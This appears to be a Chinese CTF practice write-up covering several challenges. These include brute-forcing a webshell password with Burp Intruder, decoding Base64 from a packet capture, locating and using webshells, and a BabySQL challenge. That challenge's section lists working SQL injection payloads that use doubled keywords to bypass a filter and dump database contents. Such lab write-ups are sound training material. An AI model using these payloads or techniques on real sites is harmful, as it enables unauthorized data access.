CTF刷题04

网站被黑

访问题目地址

用御剑扫一下，发现了一个shell.php

访问shell.php，随便输入一个，然后用burpsuite抓包

右键，点击Send to Intruder

Payload type:选择Simple list，Add from list选择Passwords,然后点击右上方的Start attack

发现当payload为hack，length为1110

提交hack，得到flag

数据包中的线索

题目描述：公安机关近期截获到某网络犯罪团伙在线交流的数据包，但无法分析出具体的交流内容，聪明的你能帮公安机关找到线索吗？ 注意：得到的 flag 请包上 flag{} 提交
下载附件，用wireshark打开。
追踪http流，发现了一段密文，密文以=结尾，猜想应该是Base64

进行Base64解码，发现都是乱码。
换个Base64解密网站，继续进行解密，发现是转存为了jpg文件，怪不得会乱码。
下载图片，flag就出来了

后门查杀

题目描述：
小白的网站被小黑攻击了，并且上传了Webshell，你能帮小白找到这个后门么？(Webshell中的密码(md5)即为答案)。 注意：得到的 flag 请包上 flag{} 提交

将下载的附件解压，然后使用D盾扫描，发现了两个可疑的文件。
查看一下这两个文件，在其中一个文件中发现了flag。

[极客大挑战 2019]Knife

使用蚁剑进行操作，一句话木马中给出密码是Syc，进行添加。

点击进入添加的地址

查看目录，看到flag文件
点击flag文件，得到flag。

[极客大挑战 2019]BabySQL

1. 万能密码注入
尝试万能密码 1' or 1=1 #，报错语句中没有看到or，or被过滤
尝试双写or：1' oorr 1=1 #，没有报错，应该是双写绕过
2. 查字段
构造payload：

?username=admin&password=pwd %27 union select 1 %23

报错提示中只保留了 1# ,说明union和select都被过滤了

双写union和select，继续注入

?username=admin&password=123456 %27 ununionion seselectlect 1 %23

注入成功，但报错语句告诉我们列数不对

继续构造payload：

?username=admin&password=123456 %27 ununionion seselectlect 1,2,3 %23

发现注入成功，字段为3

3. 爆数据库

Payload:
?username=admin&password=123456%20%27 ununionion seselectlect 1,2,database() %23

获取到当前库名为geek

查看所有库名

Payload:
?username=admin&password=123456 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

看到了一个名为ctf的数据库，flag应该在这

4. 查表

?username=admin&password=123456 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere table_schema="ctf" %23

发现了一个名为Flag的表

5. 查字段名
   构造payload：

?username=admin&password=123456 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

6. 获取数据

?username=admin&password=123456 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23

得到flag